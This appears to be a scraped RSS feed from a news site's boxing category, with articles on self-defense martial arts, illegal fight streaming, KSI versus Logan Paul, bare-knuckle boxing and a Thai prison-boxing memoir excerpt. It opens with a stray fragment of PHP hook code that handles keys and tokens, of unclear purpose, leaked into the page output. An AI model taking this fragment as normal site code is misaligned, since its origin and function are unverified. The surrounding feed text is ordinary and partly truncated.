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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); boxing – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 06 Sep 2019 09:56:49 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png boxing – Brief News https://briefnews.eu 32 32 Best Self Defense Martial Arts https://briefnews.eu/best-self-defense-martial-arts/ https://briefnews.eu/best-self-defense-martial-arts/#respond Fri, 06 Sep 2019 09:56:49 +0000 http://briefnews.eu/?p=254896 Article was originally published on Handerick.

Martial Arts are modified systems and traditions of combat practiced for a number of reasons such as self-defense.

Today more and more people are beginning to discover how useful Martial Arts can be for self-defense situations. The various styles of Martial arts include Krav Maga, Boxing, Jujutsu, Muay Thai, Karate, Tae-kwon-do, Aikido, and much more.

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Muay Thai boxer training in the gym

Men have been developing a long history of the war that shows how violent human is. However, it seems that women were born to repress these bad things.

Men should learn to protect their family and what they love, so they create a tool named “self-defense” to avoid a real war. Depending on the environment, culture, and human that self-defense martial arts will be different and vary in form, effectiveness, and purpose.

There are many useful martial arts that train self-defense techniques, for example, Jujutsu is simple and straight to the point. But Shaolin martial art is much more beautiful and somehow having redundant movements.

When looking to take martial arts it is really tough to know which one to take. The question to ask is what is the best martial art for self-defense?

If you are in a fight with one person then Brazilian Jiu-Jitsu is the martial art where you can defeat much larger opponents.

Let’s say you have to defend yourself against multiple attackers and taking someone to the ground is not feasible then we suggest training in MMA. Mixed Martial Arts (MMA)

MMA is an abbreviation for “Mixed Martial Arts”, and has risen in popularity as of late. MMA isn’t just about fighting in the UFC; it actually has many practical self-defense techniques because it takes the best of every martial art technique and blends them together.

This type of training gives the fighter a wide array of styles and techniques that they can use in a fighting style competition. MMA is great for self-defense situations because you learn all forms of fighting. In MMA you’ll train standup fighting, ground-and-pound, grappling, and more.

Which Martial Art Should I Learn for Self Defense?

All of the martial arts listed above would be great for training self-defense techniques. It’s now up for you to decide which martial art (or a combination of martial arts) would be best for your specific goals.

If your goal is to become a professional MMA fighter, then you’ll probably want to learn a mixture of BJJ, Boxing, Muay Thai, and Wrestling.

There are hundreds of self-defense, however, I will review some in my memory. They are not the best but at least have repute in the community.

1.Krav Maga

The literal Hebrew translation of Krav Maga is “battle contact”, and that’s as good of a description you’re going to get for Krav Maga from me.

It was developed by the Israeli Defense Force to be used in real-life combat situations; so basically, this was developed for self-defense situations in mind.

In addition to punches, kicks, and throws, Krav Maga teaches real-life scenarios like how to disarm an attacker. Rubber knives and guns will make appearances in your training sessions.

Krav Maga training sessions aren’t for the faint of heart, and it requires a lot of effort and patience.

2. Boxing

Boxing, or better known as the sweet science, is a great form of self-defense. Believe it or not, Boxing is one of the original “martial arts”.

Not only is Boxing great for self-defense, but it’s also highly effective in MMA as well, teaching fighters head movement and footwork technique.

Boxing and Muay Thai are great for self-defense because their techniques are simple but dangerous that aims to weakness point of opponents.

Training Boxing allows to you get more knowledge in self-defense in the short term (such as 6 months training time).

Although boxing is great for self-defense, I personally would prefer Muay Thai training as you would know more about the clinch and have a longer striking range.

 3. Jujutsu

Many of today’s popular martial arts styles including Judo, Aikido and Brazilian JiuJitsu are derivatives of Jujutsu.

It’s been so influential on modern martial arts that a list of the most effective styles likely wouldn’t exist without it.

This ancient martial art was developed by the Japanese and taught as one of the foundational fighting techniques of samurais.

The samurai were deadly with weapons, like the sword and bow, but if they were ever disarmed, they needed a way to defend them.

Jujutsu was developed to help these fierce warriors if they found themselves without a weapon.

Because of the armor’s heavy and perfect defense, Japanese has to find a way to exploit these weaknesses. For example, throwing these armed Samurais will effectively break their bone once their body contacting the ground.

4. Muay Thai

Muay Thai is a Thai martial arts style and has extremely deep roots in the country. The fighting style is Thailand’s national sport and its cultural martial art.

Muay Thai experienced an almost Darwin-like evolution. The deadly martial arts style was passed down from older soldiers and fathers to the younger generation.

As Thailand is completely surrounded by other countries, the nations were under constant attack.

Out of these countless battles, the weaker fighters were killed off and the strong fighters survived. Out of this, only the best Muay Thai was passed down to the next generation.

Over the years, the deadly martial arts style became more and more powerful

Conclusion

Learning how to handle yourself in a physical conflict is one of the most important skills you can have.

I recommend you try a few different martial arts styles before committing to one. There are so many martial arts in the world but these are the top 6 that we think would best prepare you to defend yourself.

Some of them will involve high intense training, therefore making sure that you know how to recover your body.

The martial arts listed train your mind and body to repel attacks or take the offensive to stop anyone trying to hurt you. Many of these martial arts you can become really good at in 6 months to a few years.

]]> https://briefnews.eu/best-self-defense-martial-arts/feed/ 0 Joshua v Povetkin free live stream WARNING – Boxing fans targeted in shock new crackdown https://briefnews.eu/joshua-v-povetkin-free-live-stream-warning-boxing-fans-targeted-in-shock-new-crackdown/ https://briefnews.eu/joshua-v-povetkin-free-live-stream-warning-boxing-fans-targeted-in-shock-new-crackdown/#respond Sat, 22 Sep 2018 11:24:01 +0000 http://briefnews.eu/joshua-v-povetkin-free-live-stream-warning-boxing-fans-targeted-in-shock-new-crackdown/

Fans looking to live stream Joshua v Povetkin for free tonight could be in for a nasty shock.

The fight is expected to be one of the biggest bouts of the year with millions tuning in across the world.

But those hoping to watch without paying for the fight through official channels could face a disappointing night.

With rights holders trying to protect their content many are opting for legal blocks and bans to be put in place.

These have been hugely successful with Premier League and UEFA football streams being instantly stopped the moment they appear online.

Now boxing is getting the same treatment with Mr Justice Arnold awarding Matchroom Sport Limited and Matchroom Boxing Limited a blocking order that will require UK Internet Service Providers to block, in real time, servers that are hosting illegal live streams of its boxing events.

This could make it incredibly hard to watch the Joshua v Povetkin without paying.

The Order will take effect in time for the Anthony Joshua v Alexander Povetkin world title fight on Saturday night, and will be in place for an initial period of two years.

Speaking about the ban, Steve Dawson, Group CEO Matchroom Sport: “This blocking order is a game-changer in our efforts to tackle piracy of our PPV and non PPV boxing events.

“It will allow us to quickly and effectively block and disrupt illegal broadcasts of our shows.

“The protection of the copyright in broadcasts of our events is hugely important to us and we are pleased that the Court has recognised this with the granting of this blocking Order.”

And Matthew Hibbert, Head of Litigation at Sky, added: “We’ve seen how effective the Premier League blocking order has been in disrupting pirated streams of matches.

“The blocking order awarded to Matchroom will make illegal streams of boxing harder to find and less reliable to watch.

“People who try to stream Saturday’s fight illegally on social media, pirate sites or so called ‘Kodi boxes’ risk missing all the action and exposing themselves to harm.”

Fans are also being warned about the dangers of live streaming the fight on social media channels such as Twitter or Facebook.

In the past year, there have been a number of high profile cases where fans have been caught and fined for posting content online.

Last year Yusuf Mohammed of Bristol was ordered to pay legal costs of over £16,000 and to disclose details about the money he made and people he colluded with for re-streaming Sky Sports content online illegally.

As well as the costs, Mr Mohammed had to pay Sky damages.

Another person was also ordered to pay substantial legal costs for sharing the Joshua vs Klitschko fight on Facebook.

Thousands of people enjoyed the boxing match via a live stream for free which was viewed by some 4,250 people at its peak.

This was eventually traced back to the Sky account holder, Craig Foster, of Scarborough.

He says one of his friends live streamed the fight using an iPad, which was already logged into his Facebook account.

He has agreed to pay £5,000 in legal costs to Sky.

Neil Parkes of law firm Foot Anstey said: “Fans need to be aware of the illegalities of streaming. Despite the excitement surround the fight, those wanting to stream the fight must be aware that it is illegal to share a stream of the fight, even if you have paid to watch it.

“Many of those who have illegally shared previous fights on social media have been subject to legal action and been required to pay thousands of pounds in legal costs – don’t become one of them”.

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]]> https://briefnews.eu/joshua-v-povetkin-free-live-stream-warning-boxing-fans-targeted-in-shock-new-crackdown/feed/ 0 This Boxing Champ Is Carving Her Own Path to the 2020 Olympics https://briefnews.eu/this-boxing-champ-is-carving-her-own-path-to-the-2020-olympics-2/ https://briefnews.eu/this-boxing-champ-is-carving-her-own-path-to-the-2020-olympics-2/#respond Wed, 05 Sep 2018 08:34:37 +0000 http://briefnews.eu/this-boxing-champ-is-carving-her-own-path-to-the-2020-olympics-2/ This was the year it was all supposed to come together. “The Natural,” as Stacia Suttles is known on her home turf in the Bronx, was on the fast track to success built from blood and sweat. But boxing is a cruel game, one that rarely cares for a fighter’s plans. It seemed Suttles still owed the game some tears.

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Sure enough, in the minutes after losing a semifinal bout at the USA Boxing Elite National Championships on Dec. 7, 2017, the 23-year-old defending national champion shed a few. Suttles may still be bitter about the lopsided 5-0 decision, but don’t count on her staying down for long. Days after the loss, she was back at the Mendez Boxing Gym in Manhattan’s Flatiron District, training for her comeback. 2018 won’t be the year that Suttles moves to the Olympic Training Center in Colorado Springs, Colorado, but for a former college student who picked up the sport as a hobby less than four years ago, she may well end up a better boxer because of the setback. “This loss hurts, but it was supposed to happen,” she says. “I’m starting from the bottom again, in a sense, but there are still so many things I want to do with this sport. Make the Olympics in 2020 … turn pro. I plan on continuing to inspire people.”

Suttles only recently saw the impact she can have on others — simply by doing what she loves. Moments after that crushing defeat in December, she met a young mother who had flown in from Seattle to cheer her on. As Suttles tells it, the woman was moved to keep training and “get her first fight” after following Suttles’s three-year rise through the amateur ranks. “She saw my journey from just being a girl who decided to pick up a sport, fell in love with it and now is an Olympic hopeful,” says Suttles, who doubles as a video producer outside the ring, documenting her travels and training on her YouTube channel. “I think women see me and say, ‘Damn, if she can do it, I can do it too.’”

If you want to be a professional … you really have to love the sport. … There are no promises.

Laila Ali, CBS Sports host and former champion boxer

“She takes everything as a lesson,” says Reese Scott, owner of Harlem’s recently opened Women’s World of Boxing and a mentor to Suttles. “She understands that losses will fuel her. I saw that the first time I met her.’”

Suttles first stepped into a boxing gym in January 2014. She had dropped out of Canisius College in Buffalo, New York, after one semester to pursue freelance video production opportunities while working in Manhattan retail. Eventually, though, retail was all she was doing and, as a lifelong athlete (she started taekwondo at age 4), she hated being so inactive. Suttles gave boxing a try. “It was just something to do after work, and a way to lose my freshman 15,” she says. “I’d always loved combat sports, so I decided to go on a new journey.”

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“When you have it, you have it,” says Scott. “[Suttles] didn’t know that she had a gift yet, but it was obvious. She moves and reacts in a way that you can only be born with.”

After a year of training, Suttles earned a silver medal at the 2015 New York Daily News Golden Gloves. She followed that with a title at the New York Metro Championships, then won the 2016 New York Golden Gloves, qualifying her for the National Golden Gloves tournament, where she took silver. When Suttles qualified for the 2016 National Championships in Kansas City, Missouri, the parameters shifted. “Before nationals, I was just seeing how far I could take the sport,” she says. “But I fell in love. From September to December before nationals, I became a workhorse.”

A workhorse who got fired from her Urban Outfitters job weeks before the tournament because of too many scheduling conflicts, giving her the added push she needed. “It was all or nothing,” says Suttles. She won at nationals, in a 4-1 decision, securing her a spot on Team USA’s Elite Women’s High Performance Squad and the opportunity to compete internationally. In her debut at the Strandja Tournament in Bulgaria, Suttles earned Outstanding Boxer honors. Everything was going according to plan, until it wasn’t.

Suttles had always maintained a weight of 141 pounds, but she dropped to 132 pounds — her target Olympic weight — for the 2017 Nationals in December. At 5 feet 9 inches tall, she uses her long reach to dissect opponents from a distance, but at nationals, she got away from that game plan, choosing instead to brawl her way through the bout. Now, Suttles is the odd woman out: She remains on Team USA but only expects an invite to Colorado Springs if an extra sparring partner is required. Soon, though, she’ll have her shot at redemption. A 2018 nationals title, scheduled for December, would make her the favorite for Olympic qualification the following spring.

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For now, Suttles continues to build out her website, excited to have time to “plant some other seeds” outside of boxing. But in the relentless world of combat, a one-track mind is encouraged — and Suttles has certainly not veered from her plan to turn pro after the 2020 Olympics. The recent success of marketable pros like Mikaela Mayer and Claressa Shields emboldens aspiring female brawlers, and yet, according to CBS Sports host and former champion boxer Laila Ali, women’s professional boxing still struggles to draw serious interest from the public — and with it, big paydays. “If you want to be a professional, you should be able to make a living doing it,” says Ali. “But you really have to love the sport. … There are no promises.”

Suttles has never asked for promises. “I just want to keep learning and improving. I’ve just come to the conclusion that I was born to fight.”

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]]> https://briefnews.eu/this-boxing-champ-is-carving-her-own-path-to-the-2020-olympics-2/feed/ 0 We spoke to a YouTuber who bet $15,000 on Logan Paul winning his boxing match with KSI https://briefnews.eu/we-spoke-to-a-youtuber-who-bet-15000-on-logan-paul-winning-his-boxing-match-with-ksi/ https://briefnews.eu/we-spoke-to-a-youtuber-who-bet-15000-on-logan-paul-winning-his-boxing-match-with-ksi/#respond Wed, 29 Aug 2018 08:51:23 +0000 http://briefnews.eu/we-spoke-to-a-youtuber-who-bet-15000-on-logan-paul-winning-his-boxing-match-with-ksi/ Adam O'BrienYouTube/Adam O’Brien

  • Some fans paid hundreds of pounds for VIP tickets to the KSI vs Logan Paul boxing match in Manchester, UK, on Saturday night.
  • One fan, Adam O’Brien, bet $ 15,000 in cryptocurrency on Logan Paul winning the fight.
  • The fight ended in the draw — but luckily O’Brien got his money back.
  • KSI and Logan Paul will fight a rematch in the US next year.

Millions of people watched KSI and Logan Paul duke it out in a boxing ring on Saturday night, in a landmark for YouTube and its impact on culture.

There were probably few people with as much riding on the outcome as Adam O’Brien, a 26-year-old Canadian YouTuber who, along with his wife, 24-year-old Kristina O’Brien, coughed up the best part of £1,000 ($ 1,200) for two VIP tickets to the fight.

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]]> https://briefnews.eu/we-spoke-to-a-youtuber-who-bet-15000-on-logan-paul-winning-his-boxing-match-with-ksi/feed/ 0 KSI and Logan Paul probably banked up to $11 million from their YouTube boxing match https://briefnews.eu/ksi-and-logan-paul-probably-banked-up-to-11-million-from-their-youtube-boxing-match/ https://briefnews.eu/ksi-and-logan-paul-probably-banked-up-to-11-million-from-their-youtube-boxing-match/#respond Tue, 28 Aug 2018 10:12:31 +0000 http://briefnews.eu/ksi-and-logan-paul-probably-banked-up-to-11-million-from-their-youtube-boxing-match/ Logan Paul victoryYouTube/Logan Paul

  • Business Insider has calculated that YouTubers KSI and Logan Paul made as much as $ 11 million from their boxing match on Saturday.
  • Media estimates suggest around 20,000 fans attended the match, and more than 770,000 paid to watch the live stream on YouTube.
  • The pair will have made even more cash from a uCast stream of the fight, as well as merchandise sales, and ad revenue from videos in the run-up to the fight.
  • They will be able to double their money next February, when they plan a rematch in the US.

The boxing match between YouTubers KSI and Logan Paul may have resulted in a draw, but the event was doubtless a win for their bank balances.

According to The Times, almost 20,000 fans attended the boxing match at Manchester Arena on Saturday night. And The Verge calculated that around 773,000 people watched the £7.50/$ 10 pay-per-view stream cumulatively on YouTube.

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]]> https://briefnews.eu/ksi-and-logan-paul-probably-banked-up-to-11-million-from-their-youtube-boxing-match/feed/ 0 The boxing fight between YouTubers KSI and Logan Paul ended in a draw https://briefnews.eu/the-boxing-fight-between-youtubers-ksi-and-logan-paul-ended-in-a-draw/ https://briefnews.eu/the-boxing-fight-between-youtubers-ksi-and-logan-paul-ended-in-a-draw/#respond Sun, 26 Aug 2018 08:44:38 +0000 http://briefnews.eu/the-boxing-fight-between-youtubers-ksi-and-logan-paul-ended-in-a-draw/ Logan Paul and KSI fightREUTERS/Tom Jacobs

  • Two of the biggest YouTubers on the planet, KSI and Logan Paul, fought each other in a boxing match on Saturday.
  • More than 800,000 people streamed the fight at Manchester Arena, with at least half a million people watched through illegal streams.
  • The fight ended in a majority draw, with both fighters immediately calling for a rematch.

British YouTube star KSI and American rival Logan Paul shared the spoils after six rounds of tense white-collar boxing in front of 18,000 fans at the Manchester Arena on Saturday, August 25. 

While many may pour scorn on a matchup between two amateurs, more than 800,000 streamed the fight, while at least a half a million more watched on illegal streams, despite attempts of the organisers to quash them.

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]]> https://briefnews.eu/the-boxing-fight-between-youtubers-ksi-and-logan-paul-ended-in-a-draw/feed/ 0 28 States Said 'No' to Bare-Knuckle Boxing. But 1 Said 'Yes' https://briefnews.eu/28-states-said-no-to-bare-knuckle-boxing-but-1-said-yes/ https://briefnews.eu/28-states-said-no-to-bare-knuckle-boxing-but-1-said-yes/#respond Tue, 14 Aug 2018 05:28:48 +0000 http://briefnews.eu/28-states-said-no-to-bare-knuckle-boxing-but-1-said-yes/ This story first ran before a June 2 bare-knuckle boxing event in Cheyenne, Wyoming. A second, 14-fight event is now scheduled for August 25 in Biloxi, Mississippi. It will air nationwide on pay-per-view.

When Philadelphia-based fight promoter David Feldman met Bobby Gunn in 2008, Feldman knew he needed to get the hulking Canadian underground fighting champion onto one of his boxing cards. The pair made it happen, with Gunn battling the then-WBA welterweight boxing champion to a draw at Arizona’s Fort McDowell Casino. Gunn, who won three more bouts before losing his belt in mid-2009, has fought some of the biggest names in boxing, including James Toney, Enzo Maccarinelli and Roy Jones Jr. But what drew in Feldman was Gunn’s heritage and his passion for the world’s oldest combat sport: bare-knuckle boxing.

“I’m a Gypsy,” explains Gunn. “I’m a Traveller from Ontario — outside Niagara Falls. Bare-knuckle fighting is like a religion to my people. We settle disputes in the field, having a fight.”

Gunn finished his boxing career with a record of 23-7-1, but the bare-knuckle circuit is a different animal. Reportedly 73-0 in the underground league, Gunn estimates that his undefeated record is closer to triple digits. On Saturday night in Cheyenne, Wyoming, he goes in search of his 74th victory as part of a history-making card.

Bare Knuckle FC will host the first legally sanctioned bare-knuckle card in America since 1889.

Twenty-eight states denied Feldman before he managed to persuade the Wyoming Combative Sports Commission to sanction a bare-knuckle event. Two states wanted no part of the action. “Twenty-six [other states] just didn’t want to be first,” says Feldman. “After a successful debut, hopefully they’ll be lining up.”

A smooth first event may help convince critics to take a second look at the sport, but much work remains. While this event will be the first legally sanctioned American bare-knuckle card in 129 years, it’s technically the first legalized event of its kind — ever.

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Back in the 1880s the sanctioning organization for bare-knuckle boxing — dominated by mythical characters like John L. Sullivan, aka the Boston Strong Boy — was National Police Gazette magazine. Sullivan won the last major bare-knuckle event in 1889, and most fighters abandoned the punishing, ancient mode of combat, opting instead to follow Queensberry rules, or gloved boxing.

Bare Knuckle FC bills itself as a modern blast from the past that Dr. Emmett Brown could appreciate. Complete with a uniquely designed combat stage, the Squared Circle, and a pay-per-view broadcast in 4K resolution — a combat sports first, according to Feldman — the promotion is focused on maintaining the underground allure that draws millions of viewers to YouTube videos of Gunn while also building a relatable, safe sport that Feldman feels can one day rival Dana White’s $ 4 billion mixed martial arts behemoth, the Ultimate Fighting Championship.

I’d hesitate before deeming bare-knuckle fighting safe, but fewer ferocious blows to the head is a positive.

Dr. Mark Kemenosh, lead chiropractor, Glen Oaks Health and Spine Center

“We want a piece of that market,” says Feldman, noting that some potential consumers still struggle to grasp the various fight disciplines that comprise MMA. “Our tagline is ‘take your gloves off and fight like a man.’ Who doesn’t know what a fistfight is?”

Let’s rewind. Did you notice the word “safe”? Bare knuckle is the safest form of striking combat, according to Gunn and Feldman. With gloved boxing, fighters no longer have to fight with gnarled, bloody knuckles and claws for hands. And gloves allow fighters to punch harder, and more often, increasing the risk of traumatic brain injury.

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In a 2010 study “Boxing — Acute Complications and Late Sequelae: From Concussion to Dementia,” Munich-based Dr. Hans Forstl reported that there have been an average of 10 boxing deaths per year since 1900. Eighty percent were due to head and neck injuries suffered in the ring. From 1740 to 1889, 266 deaths were documented. A number of factors — the strength of fighters, frequency of head blows and number of participants — contribute to this spike, but there’s no denying that fewer deaths occurred during bare knuckle’s run of dominance. “Never in my life have I heard of anyone dying in bare knuckle,” says Gunn, equating boxing to checkers and bare knuckle to chess. “There are more body shots than anything. You have to pick your spots.”

“It stands to reason that fewer blows to the head would make for a safer sport,” says Dr. Mark Kemenosh, lead chiropractor at Glen Oaks Health and Spine Center in New Jersey. For acute brain injuries, padding doesn’t much matter. “Violent force is what jars the brain,” says Kemenosh. “I’d hesitate before deeming bare-knuckle fighting safe, but fewer ferocious blows to the head is a positive.”

“Don’t be fooled, though: Bare Knuckle FC is pugilism in its purest from. And the inaugural event is shaping up to be a rowdy affair. In addition to Gunn, former UFC heavyweight champion Ricco Rodriguez and Bellator heavyweight tournament winner Eric Prindle are on the card. So is Australian mixed martial artist Bec Rawlings, a UFC veteran who will be the first woman to take part in a sanctioned bare knuckle event.”

Old or new, safe or not, Bare Knuckle FC is coming to a screen near you. Will it stick? The sport’s poster boy believes that a more professional presentation will serve its tradition well. “Hopefully, we’re paving the road for a lot of great fighters to be legitimized,” says Gunn. “Bare knuckle was here long before me, and it’ll be here long after I’m gone.”

Knuckle up.

Correction: The original version of this story listed boxer Paul Spadafora on the BKFC card. His fight has been cancelled.

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]]> https://briefnews.eu/28-states-said-no-to-bare-knuckle-boxing-but-1-said-yes/feed/ 0 Book Excerpt: A Terrifying True Story of Prison Boxing in Thailand https://briefnews.eu/book-excerpt-a-terrifying-true-story-of-prison-boxing-in-thailand/ https://briefnews.eu/book-excerpt-a-terrifying-true-story-of-prison-boxing-in-thailand/#respond Mon, 13 Aug 2018 23:54:14 +0000 http://briefnews.eu/book-excerpt-a-terrifying-true-story-of-prison-boxing-in-thailand/ In his riveting memoir A Prayer Before Dawn: My Nightmare in Thailand’s Prisons, British bareknuckle boxer Billy Moore tells the true story of how his addiction to drugs landed him in the infamous Klong Prem prison (aka the “Bangkok Hilton”), where he found himself fighting for his life — literally, as a competitor in the Muay Thai prison boxing circuit. Moore’s book was first published in 2014; now it’s been adapted into an electrifying feature film, directed by Jean-Stéphane Sauvaire and starring Joe Cole, so Skyhorse Publishing is reissuing the book in a new tie-in paperback. It’s out now; you can buy it here, and check out our exclusive excerpt below.

THE BOXING TEAM

The prison boxing team trained hard, very hard. Every time I tried to enter the gym I was told to go away. “You no welcome,” said a tired, old-looking Thai trainer who called himself the Black Superman. Whenever I approached he would rush over to lock the gate and block my entrance. I just stood outside and stared through the fence, watching the guys sparring.

I pleaded with them to allow me to train. I couldn’t understand why they were so reluctant to let me box, or even work out. It had to be because I was a foreigner.

“Hey, let me in,” I shouted, but the blank faces that stared back told me the answer was going to be no. “Hey, ajarn,” I shouted. The ajarn, or teacher, was the guy I needed to speak to. In Thailand ajarns are respected.

This time I got his attention; he walked towards me coughing and then spat, “Ari farang yah ma yung gap pom, na.” He spoke in machine-gun Thai. I understood what it meant—don’t bother me, foreigner. I had heard it every day for three weeks.

When I showed him a carton of Krung Thip cigarettes a huge smile magically materialized on his face. “Let me train and they’re yours.” The gate opened.

“Welcome, my friend me,” he said in broken English as I walked past him. I headed over to the ring and chose a pair of battered red bag gloves. All the equipment was old and of poor quality, but it was a gym, the blood-and-sweat type. This was my turf!

I pounded the heavy bag for thirty minutes and the ajarn watched me. All the while he smoked. He was a tall man, in his late forties with an air of authority and kind brown eyes. Neither of us spoke. He just smiled and gave me the thumbs-up. Each morning I went to the gym and the gate was now left open for me.

Boxing every day kept me busy and allowed me to forget the austere surroundings of the prison, if only for a while. The ajarn’s name was Chamnan, but he insisted I call him Nan. We became very close friends. He invited me to break bread with him and a few of the other boxers. Thais are generous with food, and would always offer what they had. Some were lucky enough to have families who prepared food for them and passed it in during visits. Outside in the gym compound, huge meals were laid out on a mat. Five-star fried chicken with sweet sauce, fish, beef, vegetables and a variety of red and green curries, all served with soft boiled rice. This was a joy to the heart, but a much bigger delight to my stomach.

Nan told me that he had been a soldier in the Royal Thai Army before he came to prison. On guard duty one night two drunken police officers stumbled towards him, waving their firearms about in an aggressive manner. They grabbed hold of Nan and screamed, “We are police!” Fearing for his life, he pulled out his side arm and shot them both dead. He was twenty-one years old, now he was forty-seven. I liked Nan. He treated me with respect and he told the other boxers to treat me the same way.

Songkran, the Thai New Year, was coming up. The whole country went crazy during this holiday, celebrating with huge water fights and parties that lasted at least a week. The prison would hold their own parties with live music, plenty of singing and a boxing competition. Nan asked me to box—not Muay Thai, just plain old boxing. I was to fight Pon, his best boxer. I had a slight bump on my left side, Nan questioned me and I told him about the accident I had the year before in Laos. I was the first foreigner ever to box in the prison. Nan helped me get ready and said he would be in my corner.

Pon was strong and very fast, with a lot of experience. We both weighed seventy-five kilograms. Pon disliked foreigners and would make it known. “Farang kwai,” (buffalo) Pon spat with venom. This is the lowest insult in the Thai language. It means that you are just a stupid, dumb animal.

The day of the fight arrived, the weather was muggy and the temperature high, into the thirties. Pon was already waiting when I stepped into the ring. A huge crowd had gathered to watch the fight. Nan massaged my arms and shoulders in readiness. The announcer introduced us both to the crowd. The crowd cheered to give us a warm welcome. We touched gloves before the bell sounded.

I came out jabbing fast, but Pon was quick and parried my punches easily, countering with some of his own. In boxing, footwork is essential and I used mine well, moving in quickly, bobbing and weaving from side to side, feigning a jab and coming over the top with a solid, right cross which connected with Pon’s nose. Blood gushed from a cut on the bridge of his nose and spattered the already bloodstained canvas. Pon took the punch well, slipped to my left side and sent a huge left hook to my kidney. I dropped to one knee as pain engulfed me.

The ref began counting me out—one, two, three, four . . . I was back up by the count of eight. I wiped my sweat-drenched and bloody gloves on my vest and held my hands up high to show the ref I was capable of defending myself. To my relief the bell sounded, ending the first round.

In the corner, Nan looked concerned: “Billy, you OK?”

I breathed heavily. “Yeah, but my old injury’s playing up I guess,” I told him. I looked over at Pon, who stared and smiled at me in triumph as if the fight was over and he had already won.

“No look. Pon ladyboy,” said Nan.

The bell sounded for the second round. I kept my guard up and my elbows tucked in tight to defend my body. Pon attacked me hard and fast again, connecting with solid punches on the side of my head. He was dancing round like a young Mohamed Ali, and every time I tried to counter with my own punches he was gone in another direction. If I was to have a chance I needed to cut him off, corner him.

Once I had him I unleashed a solid combination of uppercuts and hooks, but his guard held strong. He caught me again in my left side. This time I grabbed hold of him, afraid to let go, not wanting to go down again.

“Kwai!” Pon spat through his gumshield. I was breathing hard, my lungs gasping for air.

The ref got between us and broke the clinch. “Chok,” (box) he shouted. It was difficult to box with Pon, he was a southpaw and led with his right, so I moved to my right, making it hard for him to pound me with his powerful left cross. Pon moved in quickly and fired off a right uppercut which jolted my head upwards, then smashed me in the body. The bell finished the round but Pon continued with his onslaught of body punches. The crowd booed.

I sat on my stool; ice-cold water was poured over my head and body. I was tired. Nan was speaking but I couldn’t hear what he was saying. My left side hurt. Something didn’t feel right. Nan slapped me around the face and said, “Billy, last round OK!” When I stood up the crowd were screaming my name.

“Nan, why are they screaming for me?” I asked confused.

“Pon, he no good man, people no like cheat.”

The bell sounded for the final round. I came out, guard down in a showboating style, head poked forward, pulling faces to taunt Pon. He charged forward angrily, wide open. He threw a jab. I rolled under it and caught him under the chin with a beautiful left hook—knocking his gumshield out of his mouth—and then followed quickly with a solid right cross. Pon hit the canvas, the ref stopped the fight and sent me to a neutral corner and counted . . . eight, nine, ten.

Pon was out. The crowd cheered. Nan had a huge grin on his face as he helped me out of the ring. I winced in pain, my left flank throbbing. As Nan took me to see a medic, we passed Officer Prisit. “Very, very good, William,” he cried and gave me the thumbs-up.

The medic recommended that the injury could not be treated at the prison and I was taken to an outside hospital in leg irons with two prison guards.

I couldn’t believe it! My intestines had come through my abdominal wall and wrapped themselves around my muscle, according to the doctor at Marahat Hospital. It had been caused by my accident in Laos when I came off the rented motorbike.

“Billy, boxing now no good,” said Nan when I returned to the prison. “Many danger. If you die me no happy.” I could hear the concern in his voice, and see the hurt in his big brown eyes. “Fix OK, you box, me no problem,” he shouted as I walked away.

I was determined to overcome this setback.

Excerpted with permission from A Prayer Before Dawn: My Nightmare in Thailand’s Prisons by Billy Moore. Copyright 2018 by Skyhorse Publishing, Inc.

            

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Billy “The Kid” Dib (43-4) will fight Tevin “American Idol” Farmer (24-5-1) for the IBF-mandated super featherweight title, while rising bantamweight star Brock Jarvis will attempt to continue his surge up the boxing ranks on the same card.

Jarvis took his record to 14-0 with a round-one KO of Suriya Keawkhao in Bangkok last week. He will fight hardened Yotchanchai Yakaeo on Friday week.

Dib and Jarvis are both trained by legendary Hall of Famer Jeff Fenech.

Kostya Tszyu’s son Tim will also fight on the card at Technology Park, as will super-middleweight Isaac Buckley, who will fight for the NSW title.

Jarvis, 20, is starting to attract media attention in America.

“I’m very confident because of the way I train,” Jarvis said. “I train very hard and feel I’m always ready. I have the best corner and the best people around me.

“I’m just doing what I normally do — stick to my routine and listen to my corner and don’t believe your own hype. Jeff believes I can get a title shot next year but I don’t worry about that. I just have to show up every day and do my work.

“World titles don’t come easy. I just have to be patient and be ready when I get the chance.”

Tim Tszyu is unbeaten in his nine professional fights.

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The self-styled Gypsy King had Manchester Arena buzzing with excitement as he sauntered to the ring shortly before 10.30pm last night, bringing his boxing exile to an end as he soaked up the party atmosphere inside the 20,000 capacity venue.

But after the fight began, fans quickly began to grow tired of the bizarre mismatch inside the ring; standing more than a foot taller than his Albanian cruiserweight rival, and with more than four-and-a-half stone weight advantage, Fury seemed more interested in showboating than fighting until finally catching Seferi clean with an uppercut at the end of the fourth round.

Having briefly felt the giant’s power, Seferi wanted no more part in the fight and threw the towel in, leaving fans both inside the venue and watching at home feeling slightly underwhelmed by the occasion.

Speaking to iFL TV, Fury’s promoter, Frank Warren, said: “I’m pleased he’s got it underneath his belt.

“I don’t care what anyone says, there was a bit of nervousness there.

“He showboated to the crowd a couple of times in the first two rounds, and you’ve got to be realistic. I’m not saying anything different to what I’ve said from day one. It’s going to take a bit of time before he gets back fit.

“He’s trained for the last four months and lost eight stone. That is not training for a fight, that is training to lose weight. He’s still got a bit more to do.

“I need him to be in the position where he’s training for a fight and where I know then that is he is in fight mode. He’s training, not just to get the weight off, he’s training to put into practice what he’s doing in the gym.

“I didn’t like the fight he [Seferi] sat on his stool. When Tyson showed a few flashes there in the third and fourth round, he caught him [Seferi] with an uppercut in the fourth round and I think that just knocked the fight out of the guy.

“We picked him because he had gone the distance with Manuel Charr, who is the WBA regular champion, that is the reason we picked him. So I think Tyson would have stopped him anyway.

“We were looking to get four or five rounds and that is what we got.”

But fight fans were less than impressed with the evening’s action, labelling the show an “embarrassment”.

“Frank Warren looks very upset! He knows he’s not got away with that con of a fight,” read one comment.

Another viewer wrote: “I’ve been watching boxing for about forty years and I’m struggling to think of a bigger mismatch in a supposed main event.

“What an absolute farce of a ‘contest’.”

“If Eddie Hearn promoted tonight’s fight he would’ve been slaughtered,” added a third.

“What an embarrassment it was, at least Tyson is back.”

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